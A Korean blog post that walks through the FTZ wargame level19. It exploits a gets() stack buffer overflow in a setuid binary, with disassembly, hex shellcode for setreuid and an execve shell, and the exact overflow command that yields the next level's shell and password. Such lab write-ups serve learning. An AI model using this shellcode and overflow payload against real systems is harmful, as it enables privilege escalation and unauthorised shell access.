티스토리 뷰

System/FTZ

[FTZ] level19

MitNy 2017. 10. 10. 20:09

Level19 Password is swimming in pink.


힌트는 다음과 같다.


main()

{ char buf[20];

  gets(buf);

  printf("%s\n",buf);

}


매우 간단해 보이는 코드인데 gets 함수를 쓴다.



gets를 사용하면 위와 같이 buf는 20이지만 20이 넘어도 값을 받을 수 있고, 그대로 출력해준다.

gets 함수는 bof에 매우 취약한 함수이며, scanf와 같이 입력받는 문자열의 크기와 주어진 변수의 크기를 고려하지 않는다.

그렇다면, buf에 쭉 입력을 해줘서 ret을 건드리거나 하면 되지 않을까 라는 생각이 들었다.


gdb로 본 어셈 코드도 엄청 짧다!! 


Dump of assembler code for function main:

0x08048440 <main+0>: push   ebp

0x08048441 <main+1>: mov    ebp,esp

0x08048443 <main+3>: sub    esp,0x28

0x08048446 <main+6>: sub    esp,0xc

0x08048449 <main+9>: lea    eax,[ebp-40]

0x0804844c <main+12>: push   eax

0x0804844d <main+13>: call   0x80482f4 <gets>

0x08048452 <main+18>: add    esp,0x10

0x08048455 <main+21>: sub    esp,0x8

0x08048458 <main+24>: lea    eax,[ebp-40]

0x0804845b <main+27>: push   eax

0x0804845c <main+28>: push   0x80484d8

0x08048461 <main+33>: call   0x8048324 <printf>

0x08048466 <main+38>: add    esp,0x10

0x08048469 <main+41>: leave

0x0804846a <main+42>: ret

0x0804846b <main+43>: nop

0x0804846c <main+44>: nop

0x0804846d <main+45>: nop

0x0804846e <main+46>: nop

0x0804846f <main+47>: nop

End of assembler dump.



A 입력을 20개 준 상태이다.


stack 구조는 다음과 같다.




A 40개와 환경변수의 주소를 입력으로 넣어주면 segmentaion이 뜨고



A 44개와 환경변수의 주소를 입력으로 넣어주면 level19의 shell이 뜨긴 뜬다..

근데 얻고자 하는건 level20의 shell인데 왜 level19가 뜰까!


계속 삽질하다가 더 찾아봤더니, 단순히 shell을 실행시키는 것이 아니라, setreuid를 실행하는데 level20의 uid로 설정해야 한다고 한다.


기존의 SHELLCODE에 setreuid(3100,3100); 의 기계어 코드인 "\x31\xc0\x31\xdb\x31\xc9\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80" 를 추가해줘야 한다.


export SHELLCODE=$(python -c 'print "\x31\xc0\x31\xdb\x31\xc9\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80""\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')


getit 코드를 통해 주소를 알아내고,


(python -c 'print "A"*44+"\x0c\xfc\xff\xbf"';cat) | ../attackme


이렇게 입력을 주면 level20의 권한을 얻을 수 있다.






Level20 Password is "we are just regular guys".


'System > FTZ' 카테고리의 다른 글

[FTZ] level18  (0) 2017.09.28
[FTZ] level17  (0) 2017.09.28
[FTZ] level16  (0) 2017.09.28
[FTZ] level15  (0) 2017.09.27
[FTZ] level14  (0) 2017.09.25
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함